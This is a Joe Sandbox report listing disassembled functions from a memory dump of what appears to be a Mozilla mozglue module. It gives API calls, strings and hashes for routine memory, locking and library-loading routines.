Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 8277b4e43fe5573f84d65d95446105236f8bf11eb6ab75653450edb1a5e9abf6
Instruction ID: 4fbd0085afc91690fa882e5d7d57b9b669ea2aed48a7405ff4e18f1a887bea03
Opcode Fuzzy Hash: 8277b4e43fe5573f84d65d95446105236f8bf11eb6ab75653450edb1a5e9abf6
Instruction Fuzzy Hash: D711D230A04B41C7D712DF2AD940766B3B1FFDA319FA4970AD84953A02FBB0A5C5CB99

Function 6C613DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5DF20E,?), ref: 6C613DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5DF20E,00000000,?), ref: 6C613DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C613E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C613E0E

Part of subcall function 6C60CC00: GetCurrentProcess.KERNEL32(?,?,6C5D31A7), ref: 6C60CC0D
Part of subcall function 6C60CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5D31A7), ref: 6C60CC16

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: b1d30f146d151a0d574c16c2a4f3babd6e0e82d0e848a4e23e587413f25232d6
Instruction ID: d4614f3921245b2ea771380a487839e8b322fb3ac75b2d1d133d677f14d83afc
Opcode Fuzzy Hash: b1d30f146d151a0d574c16c2a4f3babd6e0e82d0e848a4e23e587413f25232d6
Instruction Fuzzy Hash: 4AF082B16002087FD700AB55DC81DAB372DDB47624F544020FD0917700D636BE1986FF

Function 6C622050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C62201B,?,?,?,?,?,?,?,6C621F8F,?,?), ref: 6C622064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62208E
free.MOZGLUE(?,?,?,00000000,?,6C62201B,?,?,?,?,?,?,?,6C621F8F,?,?), ref: 6C6220A3

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 95ecd17a3adcc2028672196af9d9a0158b4f0242e3e6be786a5ff9e33e7cf823
Instruction ID: 5a86f3835b1121ee572d4aa87d3c6a1f8c84d177e0eff3bbfd9940ed68ed506d
Opcode Fuzzy Hash: 95ecd17a3adcc2028672196af9d9a0158b4f0242e3e6be786a5ff9e33e7cf823
Instruction Fuzzy Hash: 0AF0B4712007009BC711CF17D888B5BBBF9EFC6374F14011AE54687710C775A806CB9A

Function 6C6285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6285D3

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C628725

Strings

map/set<T> too long, xrefs: 6C628720

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 2d2d96748e38f6bfc3301927c34d4c3f681bf03392a0ac07c3edd6eeeb23bbde
Instruction ID: 385dfbe35afb8ca457665a853c17a9867f5ae68ab3bea352f90a1ea3c474da33
Opcode Fuzzy Hash: 2d2d96748e38f6bfc3301927c34d4c3f681bf03392a0ac07c3edd6eeeb23bbde
Instruction Fuzzy Hash: FC516775A00652CFD701CF18C884A99BBF1BF4A318F18C18AD8595BB62C339EC85CF96

Function 6C5DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5DBE8F

Strings

0, xrefs: 6C5DBE5B

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 0d9355782bb4f541450df70746ee4678a3d29c011590d9bbfc0c4a68f33055a0
Instruction ID: e4de7f61218caeb0ccdc6ffb853258837a6a7e02d905edce8f2e789acbd0ddad
Opcode Fuzzy Hash: 0d9355782bb4f541450df70746ee4678a3d29c011590d9bbfc0c4a68f33055a0
Instruction Fuzzy Hash: D041A171909745CFC701EF2CC881A9BB7F5EF8A348F018A1DF985A7611D730E9598B8A

Function 6C613CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C613D19
mozalloc_abort.MOZGLUE(?), ref: 6C613D6C

Strings

d, xrefs: 6C613D58

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: abfd05d4bf5618b5b7cf898aec3c9202ca551f38e433ae3a25e1fca12be29393
Instruction ID: d5107bb962fdea173de14bfea202fb48808b408f372d1b35633a1b8ca75a1ac8
Opcode Fuzzy Hash: abfd05d4bf5618b5b7cf898aec3c9202ca551f38e433ae3a25e1fca12be29393
Instruction Fuzzy Hash: C1110831E186889BDF04DF6EC8544EEB7B5EF86319F84C228DC4657A01EB309584C398

Function 6C5E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5E44B2,6C65E21C,6C65F7F8), ref: 6C5E473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5E474A

Strings

GetNtLoaderAPI, xrefs: 6C5E4744

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 635f149d01b9f613d9733e19fbca5d6b2587ff8bcfe09a161b83d92dc310dfc3
Instruction ID: 499ad0000d3828ebd0dc12c5b209b8e195af166a0b45bc42f698edf32519aadc
Opcode Fuzzy Hash: 635f149d01b9f613d9733e19fbca5d6b2587ff8bcfe09a161b83d92dc310dfc3
Instruction Fuzzy Hash: 7B0140753092149FDF00EFA788C462D7BB9EB8A351F554469EA05C7740DB74D8028FDA

Function 6C636DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C636E22
__Init_thread_footer.LIBCMT ref: 6C636E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C636E1D

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: d1b66b9527cf06f7ac42b7df47a3ebd3c4d309c1a6fe92165c52bd8b6e6d01e8
Instruction ID: aa3dfe708f3a3aed403ea651568ae3c8515251a442ee31392e59eeb74b2c7ce2
Opcode Fuzzy Hash: d1b66b9527cf06f7ac42b7df47a3ebd3c4d309c1a6fe92165c52bd8b6e6d01e8
Instruction Fuzzy Hash: CCF0E975709240CBDB00CB6AC990A9977716713318FB42165C45947BE1DB21E51BCE9F

Function 6C5E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5E9EEF

Strings

Infinity, xrefs: 6C5E9EB7
NaN, xrefs: 6C5E9EC1

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 934e78cdf99d39e5d3d5a7d56499b56923b3b618ecec8114884933d1bcd40bb5
Instruction ID: 1f16d4c6328c432ed3badc2b37ea6a24e7555b3e8a0e6728cb340cdf85c730c8
Opcode Fuzzy Hash: 934e78cdf99d39e5d3d5a7d56499b56923b3b618ecec8114884933d1bcd40bb5
Instruction Fuzzy Hash: 67F0A9B1600242CBDB00CF1AD9C5BA433F1A707309FB04B58C6440BB81D3756556CA8F

Function 6C5E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kal,?,6C614B30,80000000,?,6C614AB7,?,6C5D43CF,?,6C5D42D2), ref: 6C5E6C42

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

moz_xmalloc.MOZGLUE(0Kal,?,6C614B30,80000000,?,6C614AB7,?,6C5D43CF,?,6C5D42D2), ref: 6C5E6C58

Strings

0Kal, xrefs: 6C5E6C33, 6C5E6C41, 6C5E6C57

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kal
API String ID: 1967447596-2504143369
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: de8ed62cae307c3c79cbc35bc68e2f4e8e149b4e77ce163f98aedd3c9396100d
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 40E086F1A107094ADB08D9789C0956E75C8CB7C6E87044A35E93AC6BC8FF54E9508151

Function 6C5E3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C65F860), ref: 6C5E385C
ReleaseSRWLockExclusive.KERNEL32(6C65F860,?), ref: 6C5E3871

Strings

,el, xrefs: 6C5E387A

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,el
API String ID: 17069307-3207706110
Opcode ID: f0f5139182e82a1b2fda4bd6b2f73958a436f12d91e4acd79fcd1c2b6c1c8b16
Instruction ID: 471f9dc979ec8c05e14a971fe0d844b4f029fb5403bf168cd8d796b483c250db
Opcode Fuzzy Hash: f0f5139182e82a1b2fda4bd6b2f73958a436f12d91e4acd79fcd1c2b6c1c8b16
Instruction Fuzzy Hash: D5E0DF32A1AA18978B02DF97984158A3BB8EE9B6907A44105F40A17A10C73094808ACE

Function 6C5EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5EBEF5

Strings

cryptbase.dll, xrefs: 6C5EBEF0

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 493f6030670bede3405f39460f7b35b195c3acbba381895159e3e31a2434d4e1
Instruction ID: d338e20cf95d3891b4090087ab1a35eee4190e44cb9eea1a82a6048f48f4e8f3
Opcode Fuzzy Hash: 493f6030670bede3405f39460f7b35b195c3acbba381895159e3e31a2434d4e1
Instruction Fuzzy Hash: ABD0C731384308E6D740FA618D05B357774A746756F64C421F75554951C7B19461CF5C

Function 6C62B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B628

Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C6290FF
Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C629108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C62B2C9,?,?,?,6C62B127,?,?,?,?,?,?,?,?,?,6C62AE52), ref: 6C62B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C62B127,?,?,?,?,?,?,?,?), ref: 6C62B74D

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 47f66ef3882a445623deb7de551440892097436c6b633750fa512d263049104e
Instruction ID: 4e0f776fcdad556d5c3405aa7ea04e6eb235480ce1ceeea87d33b54d0dd7ead9
Opcode Fuzzy Hash: 47f66ef3882a445623deb7de551440892097436c6b633750fa512d263049104e
Instruction Fuzzy Hash: A451AE71A052168FDB14CF18C980AAEB7B5FFC5308F55852DC89BAB710D739A804CFA9

Function 6C62DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C61FF2A), ref: 6C62DFFD

Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C6290FF
Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C629108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C61FF2A), ref: 6C62E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C61FF2A), ref: 6C62E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C61FF2A), ref: 6C62E0FE

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 1a47672c6b564792e3b062c836102bddc155a8e63fdfeb7e6996c5f12f87ed3f
Instruction ID: e9af873aacb257d50f81294df7f33a4382a0682cf7d2e12c4076eed9104279ff
Opcode Fuzzy Hash: 1a47672c6b564792e3b062c836102bddc155a8e63fdfeb7e6996c5f12f87ed3f
Instruction Fuzzy Hash: A641C1B16042068FEB14CF78C88079AB3B2BB46309F24493DD516DB740E736E916CF9A

Function 6C626E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C626EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C626EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C626F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626F5C

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: cb4444de10137cbd29c00d56e706b582e26f301478a02803c5e7634fd6e9f76c
Instruction ID: 180c0776edc34ceba998e63a918f06a2745cc89f33af255fcd614f09db26d7eb
Opcode Fuzzy Hash: cb4444de10137cbd29c00d56e706b582e26f301478a02803c5e7634fd6e9f76c
Instruction Fuzzy Hash: E6312671A1060A8FDB14CF2CCD806AA73FAEB84304F60813DD41ACB651EF36E659CB95

Function 6C63B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5E0A4D), ref: 6C63B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5E0A4D), ref: 6C63B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5E0A4D), ref: 6C63B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5E0A4D), ref: 6C63B67F

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: c561bb69ec692aee036ed559b288e1b2c73c239ddd1b232413dff1eeb8ad9dfc
Instruction ID: 0162bfb6be52be801d6a401079ee90941f007e1092e601cbd0e033f910d57a8c
Opcode Fuzzy Hash: c561bb69ec692aee036ed559b288e1b2c73c239ddd1b232413dff1eeb8ad9dfc
Instruction Fuzzy Hash: 7A31F471B006268FDB10CF59CC8465ABBB5FFC6314F5A9529C80A9B202DB31E915CBA4

Function 6C60F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C60F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C60F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C60F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C60F668

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 6db68e1a2087bafc1bc5b3d0aaa9a3c15342b7008b7056d0057b0c8f9deb4753
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: EA316F71B00614AFC719CF1DCDC0A9B77B6EB94358B14C938FA4A8BB05D632E9448B9D

Function 6C6226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6226C1
free.MOZGLUE(?), ref: 6C6226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6226FF
free.MOZGLUE ref: 6C62270D

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 789f38c722fbfff78541f7fe78d4c1ecd94429b4a423a23db67754e2ebac05f6
Instruction ID: 87a43c34956cbb6160d55dc6821b240e83a637125a67743ba08441a9727517e5
Opcode Fuzzy Hash: 789f38c722fbfff78541f7fe78d4c1ecd94429b4a423a23db67754e2ebac05f6
Instruction Fuzzy Hash: B1F0F9B27012006BEB009A18DCC8D4773A9EF8532CB600035EA16C3B01E336F919CA99

